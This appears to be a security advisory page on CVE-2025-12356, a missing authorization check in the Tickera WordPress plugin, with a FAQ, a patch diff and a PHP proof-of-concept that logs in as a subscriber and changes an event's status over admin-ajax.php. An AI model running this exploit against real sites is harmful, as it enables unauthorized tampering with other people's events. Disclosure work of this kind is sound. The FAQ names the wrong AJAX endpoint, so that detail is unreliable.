What is CVE-2025-12356?

CVE-2025-12356 is a medium severity vulnerability in the Tickera WordPress plugin, specifically versions 3.5.6.4 and earlier. It allows authenticated users with Subscriber-level access and higher to modify event and post statuses due to a missing authorization check in an AJAX endpoint.

How does this vulnerability work?

The vulnerability exists in the ‘wp_ajax_change_ticket_status’ AJAX endpoint, where the plugin fails to verify user capabilities after nonce validation. Authenticated users can send a POST request to change event statuses without appropriate permissions, allowing unauthorized modifications.

Who is affected by this vulnerability?

Any WordPress site using the Tickera plugin version 3.5.6.4 or earlier is affected. Specifically, authenticated users with Subscriber-level access or higher can exploit this vulnerability to change event statuses.

How can I check if my site is vulnerable?

To check if your site is vulnerable, verify the version of the Tickera plugin installed. If it is 3.5.6.4 or earlier, your site is at risk. Additionally, you can review user roles and permissions to assess potential exposure.

How can I fix this vulnerability?

The vulnerability is fixed in version 3.5.6.5 of the Tickera plugin. Update the plugin to this version or later to ensure the missing capability check is implemented and your site is secure.

What if I cannot update the plugin immediately?

If an immediate update is not possible, consider temporarily removing or disabling the Tickera plugin to prevent exploitation. Additionally, review user roles and limit access to only trusted users until the plugin can be updated.

What does the CVSS score of 4.3 indicate?

The CVSS score of 4.3 indicates a medium severity vulnerability. This means that while exploitation requires authentication, it can still lead to unauthorized content modification, which may disrupt business operations or event management.

What are the practical risks of this vulnerability?

Exploitation of this vulnerability can allow unauthorized users to change event statuses, potentially hiding events or altering ticket availability. This can lead to confusion among users and negatively impact ticket sales and event visibility.

How does the proof of concept demonstrate the issue?

The proof of concept illustrates how an authenticated user can exploit the vulnerability by sending a crafted POST request to the vulnerable AJAX endpoint. It shows the steps required to authenticate and modify event statuses without proper authorization.

Is there a way to test for this vulnerability safely?

Testing for this vulnerability should only be conducted in a controlled environment with explicit permission. Use the proof of concept code in a testing setup to understand the vulnerability without impacting live systems.

What are the long-term implications of not addressing this vulnerability?

Failing to address this vulnerability may expose your site to ongoing risks of unauthorized content modifications, leading to potential reputational damage and loss of user trust. Regular updates and security audits are essential for maintaining site integrity.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : March 18, 2026

CVE-2025-12356: Tickera – WordPress Event Ticketing <= 3.5.6.4 – Missing Authorization to Authenticated (Subscriber+) Event/Post Status Update (tickera-event-ticketing-system)

CVE ID CVE-2025-12356

Plugin tickera-event-ticketing-system

Severity Medium (CVSS 4.3)

CWE 862

Vulnerable Version 3.5.6.4

Patched Version 3.5.6.5

Disclosed February 16, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-12356:
The Tickera WordPress plugin (versions <= 3.5.6.4) contains a missing authorization vulnerability in its AJAX event status update functionality. This flaw allows authenticated users with Subscriber-level permissions or higher to modify post and event statuses, violating the principle of least privilege.

Atomic Edge research identifies the root cause as a missing capability check in the `change_event_status()` function within the main plugin file `tickera-event-ticketing-system/tickera.php`. The vulnerable function at line 3860 only verified the presence of a nonce and event ID parameters before processing status changes. The function lacked any user capability verification, such as `current_user_can('manage_options')`, which would restrict access to administrators only. This omission occurred despite proper nonce validation being present.

Exploitation requires an authenticated attacker with at least Subscriber-level access. The attacker sends a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `change_event_status`. The request must include valid `event_id` and `event_status` parameters along with a valid nonce obtained through legitimate plugin interaction. The nonce requirement does not prevent exploitation because Subscriber users can obtain valid nonces through normal plugin usage, and the vulnerability specifically lacks capability checking after nonce validation.

The patch adds the missing capability check. In the patched version at line 3860, the condition now includes `current_user_can('manage_options')` alongside the existing nonce and parameter validation. This change ensures only users with administrator privileges can execute the status change operation. The patch also standardizes security practices by replacing inline `wp_verify_nonce()` calls with `check_ajax_referer()` in multiple functions throughout the codebase, though this specific vulnerability is addressed solely by the capability check addition.

Successful exploitation allows authenticated attackers to modify event and post statuses, potentially disrupting event management, hiding events from public view, or altering ticket availability. While the vulnerability does not permit direct privilege escalation or remote code execution, it enables unauthorized content modification that could impact business operations, ticket sales, and event visibility. The CVSS 4.3 score reflects the requirement for authentication and the limited scope of data modification.

Differential between vulnerable and patched code

Code Diff

--- a/tickera-event-ticketing-system/includes/addons/barcode-reader/includes/admin-pages/tc_barcode_reader.php
+++ b/tickera-event-ticketing-system/includes/addons/barcode-reader/includes/admin-pages/tc_barcode_reader.php
@@ -20,7 +20,7 @@
             }
         }

-        if ( count( $wp_api_keys_search->get_results() ) > 0 && ( current_user_can( 'manage_options' ) || ( ! current_user_can( 'manage_options' ) && $staff_api_keys_num ) ) ) { ?>
+        if ( count( $wp_api_keys_search->get_results() ) > 0 && ( current_user_can( 'manage_options' ) || $staff_api_keys_num ) ) { ?>
             <form action="" method="post" enctype="multipart/form-data">
                 <table class="checkin-table">
                     <tbody>
--- a/tickera-event-ticketing-system/includes/addons/barcode-reader/index.php
+++ b/tickera-event-ticketing-system/includes/addons/barcode-reader/index.php
@@ -42,7 +42,9 @@
          */
         function check_in_barcode() {

-            if ( isset( $_POST[ 'api_key' ] ) && isset( $_POST[ 'barcode' ] ) && defined( 'DOING_AJAX' ) && DOING_AJAX && wp_verify_nonce( sanitize_key( $_POST['nonce'] ), 'tc_ajax_nonce' ) ) {
+            check_ajax_referer( 'tc_ajax_nonce', 'nonce' );
+
+            if ( isset( $_POST[ 'api_key' ] ) && isset( $_POST[ 'barcode' ] ) && defined( 'DOING_AJAX' ) && DOING_AJAX ) {

                 $api_key = sanitize_text_field( $_POST[ 'api_key' ] );
                 $barcode = sanitize_text_field( $_POST[ 'barcode' ] );
@@ -51,10 +53,7 @@
                 $current_user = wp_get_current_user();
                 $current_username = $current_user->user_login;

-                if (
-                    current_user_can( 'manage_options' )
-                    || ( ! current_user_can( 'manage_options' ) && strtolower( $api->details->api_username ) == strtolower( $current_username ) )
-                ) {
+                if ( current_user_can( 'manage_options' ) || strtolower( $api->details->api_username ) == strtolower( $current_username ) ) {

                     $checkin = new TickeraTC_Checkin_API( $api->details->api_key, apply_filters( 'tc_checkin_request_name', 'tickera_scan' ), 'return', $barcode, false );
                     $checkin_result = $checkin->ticket_checkin( false );
--- a/tickera-event-ticketing-system/includes/addons/better-attendees-and-tickets/index.php
+++ b/tickera-event-ticketing-system/includes/addons/better-attendees-and-tickets/index.php
@@ -59,12 +59,14 @@
                 add_filter( 'posts_request', array( $this, 'posts_request' ) );
             }

-            add_action( 'wp_ajax_search_event_filter', array( &$this, 'search_event_filter' ) );
+            add_action( 'wp_ajax_search_event_filter', array( $this, 'search_event_filter' ) );
         }

         function search_event_filter() {

-            if ( $_POST && isset( $_POST[ 's' ] ) && isset( $_POST[ 'nonce' ] ) && wp_verify_nonce( sanitize_key( $_POST['nonce'] ), 'tc_ajax_nonce' ) ) {
+            check_ajax_referer( 'tc_ajax_nonce', 'nonce' );
+
+            if ( current_user_can( 'manage_events_cap' ) && $_POST && isset( $_POST[ 's' ] ) ) {

                 $keyword = sanitize_text_field( $_POST[ 's' ] );
                 $count = 0;
@@ -831,7 +833,7 @@
             }
         }

-        if ( $has_api_records && ( current_user_can( 'manage_options' ) || ( ! current_user_can( 'manage_options' ) && $staff_api_keys_num > 0 ) ) ) { ?>
+        if ( $has_api_records && ( current_user_can( 'manage_options' ) || $staff_api_keys_num > 0 ) ) { ?>
             <form action="" method="post" enctype="multipart/form-data">
                 <table class="checkin-table">
                     <tbody>
--- a/tickera-event-ticketing-system/includes/addons/export-attendee-list/index.php
+++ b/tickera-event-ticketing-system/includes/addons/export-attendee-list/index.php
@@ -51,43 +51,42 @@
          */
         function prepare_export_data() {

-            if ( isset( $_POST['nonce'] ) && isset( $_POST[ 'event_id' ] ) && (int) $_POST[ 'event_id' ] ) {
+            check_ajax_referer( 'tc_ajax_nonce', 'nonce' );

-                if ( wp_verify_nonce( sanitize_key( $_POST['nonce'] ), 'tc_ajax_nonce' ) ) {
+            if ( current_user_can( 'manage_options' ) && isset( $_POST[ 'event_id' ] ) && (int) $_POST[ 'event_id' ] ) {

-                    global $tc;
-                    $page = isset( $_POST[ 'page' ] ) ? (int) $_POST[ 'page' ] : 1;
+                global $tc;
+                $page = isset( $_POST[ 'page' ] ) ? (int) $_POST[ 'page' ] : 1;

-                    $ticket_instances = get_posts( [
-                        'posts_per_page' => $this->per_page,
-                        'paged' => $page,
-                        'orderby' => 'ID',
-                        'meta_key' => 'event_id',
-                        'meta_value' => (int) $_POST[ 'event_id' ],
-                        'post_type' => 'tc_tickets_instances',
-                        'post_status' => 'publish',
-                        'fields' => 'ids'
-                    ] );
-
-                    $success = $ticket_instances ? true : false;
-                    $tc_export_pdf = $tc->session->get( 'tc_export_pdf' );
-
-                    if ( 1 == $page ) {
-                        $tc_export_pdf = [];
-                    }
-
-                    $progress = ( count( $tc_export_pdf ) > 0 )
-                        ? ( count( $tc_export_pdf ) / ( $this->per_page * $page ) ) * 100
-                        : 0;
+                $ticket_instances = get_posts( [
+                    'posts_per_page' => $this->per_page,
+                    'paged' => $page,
+                    'orderby' => 'ID',
+                    'meta_key' => 'event_id',
+                    'meta_value' => (int) $_POST[ 'event_id' ],
+                    'post_type' => 'tc_tickets_instances',
+                    'post_status' => 'publish',
+                    'fields' => 'ids'
+                ] );

-                    // Progress with offset
-                    $progress = ( $progress <= 80 ) ? ( $progress / 2 ) : $progress;
+                $success = $ticket_instances ? true : false;
+                $tc_export_pdf = $tc->session->get( 'tc_export_pdf' );

-                    $tc_export_pdf = array_merge( $tc_export_pdf, $ticket_instances );
-                    $tc->session->set( 'tc_export_pdf', $tc_export_pdf );
-
-                    wp_send_json( [ 'success' => $success, 'page' => ( $page + 1 ), 'progress' => $progress ] );
+                if ( 1 == $page ) {
+                    $tc_export_pdf = [];
                 }
+
+                $progress = ( count( $tc_export_pdf ) > 0 )
+                    ? ( count( $tc_export_pdf ) / ( $this->per_page * $page ) ) * 100
+                    : 0;
+
+                // Progress with offset
+                $progress = ( $progress <= 80 ) ? ( $progress / 2 ) : $progress;
+
+                $tc_export_pdf = array_merge( $tc_export_pdf, $ticket_instances );
+                $tc->session->set( 'tc_export_pdf', $tc_export_pdf );
+
+                wp_send_json( [ 'success' => $success, 'page' => ( $page + 1 ), 'progress' => $progress ] );
             }
         }

--- a/tickera-event-ticketing-system/includes/admin-pages/settings-gateways.php
+++ b/tickera-event-ticketing-system/includes/admin-pages/settings-gateways.php
@@ -65,7 +65,7 @@
                                         } elseif ( in_array( $code, $active_gateways ) || ( ! $active_gateways && isset( $gateway->default_status ) && $gateway->default_status ) ) {
                                             $checked = ' checked="checked"';
                                         } ?>
-                                        <div class="image-check-wrap<?php echo esc_attr( $input_class ); ?>" <?php echo ( $permanently_active ? '' : 'tabindex="0"' ); ?>>
+                                        <div class="image-check-wrap<?php echo esc_attr( $input_class ); ?>" <?php echo esc_attr( $permanently_active ? '' : 'tabindex=0' ); ?>>
                                             <label>
                                                 <input type="checkbox" class="tc_active_gateways" name="tc[gateways][active][]" value="<?php echo esc_attr( $code ); ?>"<?php echo esc_html( $checked ); ?> />
                                                 <div class="check-image check-image-<?php echo esc_html( in_array( $code, $this->get_setting( 'gateways->active', array() ) ) ) ?>">
--- a/tickera-event-ticketing-system/includes/classes/class.form_fields_api.php
+++ b/tickera-event-ticketing-system/includes/classes/class.form_fields_api.php
@@ -368,9 +368,9 @@
                     <fieldset>
                         <legend class="screen-reader-text"><span><?php echo wp_kses_post( $data[ 'title' ] ); ?></span>
                         </legend>
-                        <select class="select <?php echo esc_attr( $key ) . ' ' . esc_attr( $data[ 'class' ] ) ; ?>" name="<?php echo esc_attr( $field ) . ( $data[ 'multiple' ] ? '[]' : '' ); ?>" id="<?php echo esc_attr( $field ); ?>" style="<?php echo esc_attr( $data[ 'css' ] ); ?>" <?php disabled( $data[ 'disabled' ], true ); ?> <?php echo esc_html( $this->get_custom_attribute_field( $data ) ); ?><?php echo ( $data[ 'multiple' ] ? ' multiple' : '' ); ?>>
+                        <select class="select <?php echo esc_attr( $key ) . ' ' . esc_attr( $data[ 'class' ] ) ; ?>" name="<?php echo esc_attr( $field ) . ( $data[ 'multiple' ] ? '[]' : '' ); ?>" id="<?php echo esc_attr( $field ); ?>" style="<?php echo esc_attr( $data[ 'css' ] ); ?>" <?php disabled( $data[ 'disabled' ], true ); ?> <?php echo esc_html( $this->get_custom_attribute_field( $data ) ); ?><?php echo esc_attr( $data[ 'multiple' ] ? ' multiple' : '' ); ?>>
                             <?php foreach ( (array) $data[ 'options' ] as $option_key => $option_value ) : ?>
-                                <option value="<?php echo esc_attr( $option_key ); ?>" <?php echo ( in_array( $option_key, (array) $this->get_option( $key, $data ) ) ? 'selected' : '' ); ?>><?php echo esc_attr( $option_value ); ?></option>
+                                <option value="<?php echo esc_attr( $option_key ); ?>" <?php echo esc_attr( in_array( $option_key, (array) $this->get_option( $key, $data ) ) ? 'selected' : '' ); ?>><?php echo esc_attr( $option_value ); ?></option>
                             <?php endforeach; ?>
                         </select>
                         <?php echo wp_kses_post( $this->get_description_field( $data ) ); ?>
--- a/tickera-event-ticketing-system/includes/classes/class.orders_search.php
+++ b/tickera-event-ticketing-system/includes/classes/class.orders_search.php
@@ -22,7 +22,7 @@
         var $period;
         var $period_compare;

-        function __construct( $search_term = '', $page_num = '', $per_page = '', $post_status = array( 'any' ), $period = '', $period_compare = '=' ) {
+        function __construct( $search_term = '', $page_num = '', $per_page = '', $post_status = [ 'any' ], $period = '', $period_compare = '=' ) {

             global $tc;

--- a/tickera-event-ticketing-system/includes/internal-hooks.php
+++ b/tickera-event-ticketing-system/includes/internal-hooks.php
@@ -13,7 +13,9 @@

     function tickera_trash_post_before() {

-        if ( isset( $_POST[ 'nonce' ] ) && wp_verify_nonce( sanitize_key( $_POST['nonce'] ), 'tc_ajax_nonce' ) ) {
+        check_ajax_referer( 'tc_ajax_nonce', 'nonce' );
+
+        if ( ( current_user_can( 'delete_tc_ticket' ) || current_user_can( 'delete_tc_tickets' ) ) ) {

             $btn_action = sanitize_text_field( $_POST[ 'btn_action' ] );

--- a/tickera-event-ticketing-system/includes/network-admin-pages/network_settings-gateways.php
+++ b/tickera-event-ticketing-system/includes/network-admin-pages/network_settings-gateways.php
@@ -44,7 +44,7 @@
                                 if ( $permanently_active ) {
                                     $input_class = ' auto';
                                 } ?>
-                                <div class="image-check-wrap<?php echo esc_attr( $input_class ); ?>" <?php echo ( $permanently_active ? '' : 'tabindex="0"' ); ?>>
+                                <div class="image-check-wrap<?php echo esc_attr( $input_class ); ?>" <?php echo esc_attr( $permanently_active ? '' : 'tabindex=0' ); ?>>
                                     <label>
                                         <input type="checkbox" class="tc_active_gateways" name="tc[gateways][active][]" value="<?php echo esc_attr( $code ); ?>"<?php echo esc_attr( in_array( $code, $this->get_network_setting( 'gateways->active', array() ) ) ) ? ' checked="checked"' : ( ( isset( $gateway->permanently_active ) && $gateway->permanently_active ) ? ' checked="checked"' : '' ); ?> <?php echo esc_attr( isset( $gateway->permanently_active ) && $gateway->permanently_active ) ? 'disabled' : ''; ?> />
                                         <div class="check-image check-image-<?php echo esc_attr( in_array( $code, $this->get_network_setting( 'gateways->active', array() ) ) ) ?>">
--- a/tickera-event-ticketing-system/includes/templates/shortcode-cart-contents.php
+++ b/tickera-event-ticketing-system/includes/templates/shortcode-cart-contents.php
@@ -151,7 +151,7 @@
                                                 <?php if ( $editable_qty ) { /* Hidden - Remove false to show */ ?>
                                                     <input class="tickera_button minus" type="button" value="-" data-action="minus"/>
                                                 <?php } ?>
-                                                <input type="<?php echo ( $editable_qty ? 'text' : 'hidden' ); ?>" inputmode="numeric" pattern="[0-9]*" name="ticket_quantity[]" min="<?php echo esc_attr( $min_quantity ); ?>" max="<?php echo esc_attr( $max_quantity ); ?>" value="<?php echo esc_attr( (int) $ordered_count ); ?>" class="quantity tc_quantity_selector<?php echo esc_attr( $frontend_tooltip ? ' tc-tooltip' : '' ); ?>" data-tooltip="<?php echo esc_attr( $frontend_tooltip ? $frontend_tooltip_quantity_selector : '' ); ?>" autocomplete="off">
+                                                <input type="<?php echo esc_attr( $editable_qty ? 'text' : 'hidden' ); ?>" inputmode="numeric" pattern="[0-9]*" name="ticket_quantity[]" min="<?php echo esc_attr( $min_quantity ); ?>" max="<?php echo esc_attr( $max_quantity ); ?>" value="<?php echo esc_attr( (int) $ordered_count ); ?>" class="quantity tc_quantity_selector<?php echo esc_attr( $frontend_tooltip ? ' tc-tooltip' : '' ); ?>" data-tooltip="<?php echo esc_attr( $frontend_tooltip ? $frontend_tooltip_quantity_selector : '' ); ?>" autocomplete="off">
                                                 <?php if ( ! $editable_qty ) : ?>
                                                     <span><?php esc_html( $ordered_count ); ?></span>
                                                 <?php endif; ?>
--- a/tickera-event-ticketing-system/includes/wizard-functions.php
+++ b/tickera-event-ticketing-system/includes/wizard-functions.php
@@ -275,7 +275,9 @@

     function tickera_ajax_installation_wizard_save_step_data() {

-        if ( isset( $_POST[ 'nonce' ] ) && wp_verify_nonce( sanitize_key( $_POST['nonce'] ), 'tc_ajax_nonce' ) ) {
+        check_ajax_referer( 'tc_ajax_nonce', 'nonce' );
+
+        if ( current_user_can( 'manage_options' ) ) {

             global $tc;
             $step = isset( $_POST[ 'data' ][ 'step' ] ) ? sanitize_key( $_POST[ 'data' ][ 'step' ] ) : 'start';
--- a/tickera-event-ticketing-system/tickera.php
+++ b/tickera-event-ticketing-system/tickera.php
@@ -6,7 +6,7 @@
  * Description: Sell tickets and manage event registration on your site - PDF tickets, QR/Barcode check-in, and seamless ticket sales for WordPress.
  * Author: Tickera.com
  * Author URI: https://tickera.com/
- * Version: 3.5.6.4
+ * Version: 3.5.6.5
  * Text Domain: tickera-event-ticketing-system
  * Domain Path: /languages/
  * License: GPLv2 or later
@@ -20,7 +20,7 @@
 // Exit if accessed directly
 if ( !class_exists( '\Tickera\TC' ) ) {
     class TC {
-        var $version = '3.5.6.4';
+        var $version = '3.5.6.5';

         var $title = 'Tickera';

@@ -181,7 +181,7 @@
             add_action( 'wp_ajax_get_ticket_type_instances', array($this, 'tc_get_ticket_type_instances') );
             add_action( 'wp_ajax_nopriv_add_to_cart', array($this, 'add_to_cart') );
             add_action( 'wp_ajax_add_to_cart', array($this, 'add_to_cart') );
-            add_action( 'wp_ajax_nopriv_update_cart_widget', array(&$this, 'update_cart_widget') );
+            add_action( 'wp_ajax_nopriv_update_cart_widget', array($this, 'update_cart_widget') );
             add_action( 'wp_ajax_update_cart_widget', array($this, 'update_cart_widget') );
             add_action( 'wp_ajax_change_order_status', array($this, 'change_order_status_ajax') );
             add_action( 'wp_ajax_change_event_status', array($this, 'change_event_status') );
@@ -917,7 +917,8 @@
          * @since 3.5.2.9
          */
         function tc_delete_tickets() {
-            if ( $_POST && isset( $_POST['nonce'] ) && wp_verify_nonce( sanitize_key( $_POST['nonce'] ), 'tc_ajax_nonce' ) && current_user_can( 'manage_options' ) ) {
+            check_ajax_referer( 'tc_ajax_nonce', 'nonce' );
+            if ( current_user_can( 'manage_options' ) && $_POST ) {
                 $page = ( isset( $_POST['page'] ) ? (int) $_POST['page'] : 1 );
                 $post_per_page = apply_filters( 'tc_delete_tickets_post_per_page', 20 );
                 $delete_orders = ( isset( $_POST['delete_orders'] ) ? sanitize_key( $_POST['delete_orders'] ) : 'no' );
@@ -1173,7 +1174,7 @@
          * @return bool|false|float|string
          */
         function tc_get_ticket_type_instances() {
-            if ( isset( $_POST['nonce'] ) && wp_verify_nonce( sanitize_key( $_POST['nonce'] ), 'tc_ajax_nonce' ) ) {
+            if ( current_user_can( 'manage_options' ) && isset( $_POST['nonce'] ) && wp_verify_nonce( sanitize_key( $_POST['nonce'] ), 'tc_ajax_nonce' ) ) {
                 $ticket_instance_id = ( isset( $_POST['tc_ticket_instance_id'] ) ? (int) $_POST['tc_ticket_instance_id'] : '' );
                 // Action is not allowed on paid orders
                 $order_id = wp_get_post_parent_id( $ticket_instance_id );
@@ -1233,7 +1234,8 @@
          * Save Attendees Information
          */
         function save_attendee_info() {
-            if ( isset( $_POST['post_id'] ) && isset( $_POST['meta_name'] ) && isset( $_POST['meta_value'] ) && isset( $_POST['nonce'] ) && wp_verify_nonce( sanitize_key( $_POST['nonce'] ), 'tc_ajax_nonce' ) ) {
+            check_ajax_referer( 'tc_ajax_nonce', 'nonce' );
+            if ( current_user_can( 'manage_options' ) && isset( $_POST['post_id'] ) && isset( $_POST['meta_name'] ) && isset( $_POST['meta_value'] ) ) {
                 $post_id = (int) $_POST['post_id'];
                 $meta_name = sanitize_text_field( $_POST['meta_name'] );
                 $meta_value = sanitize_text_field( $_POST['meta_value'] );
@@ -3858,7 +3860,7 @@
         }

         function change_event_status() {
-            if ( isset( $_POST['event_id'] ) && isset( $_POST['nonce'] ) && wp_verify_nonce( sanitize_key( $_POST['nonce'] ), 'tc_ajax_nonce' ) ) {
+            if ( current_user_can( 'manage_options' ) && isset( $_POST['event_id'] ) && isset( $_POST['nonce'] ) && wp_verify_nonce( sanitize_key( $_POST['nonce'] ), 'tc_ajax_nonce' ) ) {
                 $event_id = (int) $_POST['event_id'];
                 $post_status = sanitize_key( $_POST['event_status'] );
                 $post_data = array(
@@ -3878,7 +3880,8 @@
          * Page: Tickera > Settings > API Access
          */
         function change_apikey_event_category() {
-            if ( isset( $_POST['event_term_category'] ) && isset( $_POST['nonce'] ) && wp_verify_nonce( sanitize_key( $_POST['nonce'] ), 'tc_ajax_nonce' ) ) {
+            check_ajax_referer( 'tc_ajax_nonce', 'nonce' );
+            if ( current_user_can( 'manage_options' ) && isset( $_POST['event_term_category'] ) ) {
                 $event_ids = [];
                 $current_term_category = (int) $_POST['event_term_category'];
                 $wp_events_search = new TC_Events_Search('', '', -1);
@@ -3901,7 +3904,7 @@
         }

         function change_ticket_status() {
-            if ( isset( $_POST['ticket_id'] ) && isset( $_POST['nonce'] ) && wp_verify_nonce( sanitize_key( $_POST['nonce'] ), 'tc_ajax_nonce' ) ) {
+            if ( current_user_can( 'manage_options' ) && isset( $_POST['ticket_id'] ) && isset( $_POST['nonce'] ) && wp_verify_nonce( sanitize_key( $_POST['nonce'] ), 'tc_ajax_nonce' ) ) {
                 $ticket_id = (int) $_POST['ticket_id'];
                 $post_status = sanitize_key( $_POST['ticket_status'] );
                 $post_data = array(
@@ -3917,7 +3920,7 @@
         }

         function change_order_status_ajax() {
-            if ( isset( $_POST['order_id'] ) && isset( $_POST['nonce'] ) && wp_verify_nonce( sanitize_key( $_POST['nonce'] ), 'tc_ajax_nonce' ) ) {
+            if ( current_user_can( 'manage_options' ) && isset( $_POST['order_id'] ) && isset( $_POST['nonce'] ) && wp_verify_nonce( sanitize_key( $_POST['nonce'] ), 'tc_ajax_nonce' ) ) {
                 $order_id = (int) $_POST['order_id'];
                 $post_status = sanitize_key( $_POST['new_status'] );
                 $post_data = array(

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-12356 - Tickera – WordPress Event Ticketing <= 3.5.6.4 - Missing Authorization to Authenticated (Subscriber+) Event/Post Status Update

<?php
/**
 * Proof of Concept for CVE-2025-12356
 * Requires: Valid WordPress subscriber credentials and a valid nonce from the Tickera plugin
 * Target: WordPress sites with Tickera plugin <= 3.5.6.4
 *
 * DISCLAIMER: For authorized security testing only.
 */

$target_url = 'https://vulnerable-site.com';
$username = 'subscriber_user';
$password = 'subscriber_pass';
$event_id = 123; // Target event ID to modify
$new_status = 'draft'; // Status to set: 'publish', 'draft', 'pending', 'private'

// Step 1: Authenticate and obtain WordPress cookies
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url . '/wp-admin/',
        'testcookie' => '1'
    ]),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEJAR => 'cookies.txt',
    CURLOPT_COOKIEFILE => 'cookies.txt',
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_HEADER => true
]);

$response = curl_exec($ch);

// Step 2: Extract nonce from Tickera interface (simplified - in reality would parse from page)
// Note: Actual exploitation requires obtaining a valid nonce from the plugin's interface
// This is typically found in JavaScript variables or form fields
$nonce = 'EXTRACTED_NONCE'; // Placeholder - must be obtained from legitimate plugin usage

// Step 3: Exploit the missing authorization vulnerability
if ($nonce !== 'EXTRACTED_NONCE') {
    curl_setopt_array($ch, [
        CURLOPT_URL => $ajax_url,
        CURLOPT_POSTFIELDS => http_build_query([
            'action' => 'change_event_status',
            'event_id' => $event_id,
            'event_status' => $new_status,
            'nonce' => $nonce
        ]),
        CURLOPT_HEADER => false
    ]);
    
    $ajax_response = curl_exec($ch);
    
    // Parse JSON response
    $json_start = strpos($ajax_response, '{');
    if ($json_start !== false) {
        $json = substr($ajax_response, $json_start);
        $result = json_decode($json, true);
        
        if (isset($result['success']) && $result['success']) {
            echo "[+] Successfully changed event #{$event_id} status to '{$new_status}'n";
        } else {
            echo "[-] Failed to change event status. Response: " . print_r($result, true) . "n";
        }
    } else {
        echo "[-] Invalid response from servern";
    }
} else {
    echo "[-] Replace EXTRACTED_NONCE with a valid nonce from the Tickera interfacen";
}

curl_close($ch);
?>

Frequently Asked Questions

What is CVE-2025-12356?
Overview of the vulnerability
CVE-2025-12356 is a medium severity vulnerability in the Tickera WordPress plugin, specifically versions 3.5.6.4 and earlier. It allows authenticated users with Subscriber-level access and higher to modify event and post statuses due to a missing authorization check in an AJAX endpoint.
How does this vulnerability work?
Mechanism of exploitation
The vulnerability exists in the ‘wp_ajax_change_ticket_status’ AJAX endpoint, where the plugin fails to verify user capabilities after nonce validation. Authenticated users can send a POST request to change event statuses without appropriate permissions, allowing unauthorized modifications.
Who is affected by this vulnerability?
Identifying vulnerable users and systems
Any WordPress site using the Tickera plugin version 3.5.6.4 or earlier is affected. Specifically, authenticated users with Subscriber-level access or higher can exploit this vulnerability to change event statuses.
How can I check if my site is vulnerable?
Steps for assessment
To check if your site is vulnerable, verify the version of the Tickera plugin installed. If it is 3.5.6.4 or earlier, your site is at risk. Additionally, you can review user roles and permissions to assess potential exposure.
How can I fix this vulnerability?
Recommended actions
The vulnerability is fixed in version 3.5.6.5 of the Tickera plugin. Update the plugin to this version or later to ensure the missing capability check is implemented and your site is secure.
What if I cannot update the plugin immediately?
Mitigation strategies
If an immediate update is not possible, consider temporarily removing or disabling the Tickera plugin to prevent exploitation. Additionally, review user roles and limit access to only trusted users until the plugin can be updated.
What does the CVSS score of 4.3 indicate?
Understanding risk levels
The CVSS score of 4.3 indicates a medium severity vulnerability. This means that while exploitation requires authentication, it can still lead to unauthorized content modification, which may disrupt business operations or event management.
What are the practical risks of this vulnerability?
Potential impacts on operations
Exploitation of this vulnerability can allow unauthorized users to change event statuses, potentially hiding events or altering ticket availability. This can lead to confusion among users and negatively impact ticket sales and event visibility.
How does the proof of concept demonstrate the issue?
Understanding the exploitation method
The proof of concept illustrates how an authenticated user can exploit the vulnerability by sending a crafted POST request to the vulnerable AJAX endpoint. It shows the steps required to authenticate and modify event statuses without proper authorization.
Is there a way to test for this vulnerability safely?
Testing considerations
Testing for this vulnerability should only be conducted in a controlled environment with explicit permission. Use the proof of concept code in a testing setup to understand the vulnerability without impacting live systems.
What are the long-term implications of not addressing this vulnerability?
Consequences of inaction
Failing to address this vulnerability may expose your site to ongoing risks of unauthorized content modifications, leading to potential reputational damage and loss of user trust. Regular updates and security audits are essential for maintaining site integrity.

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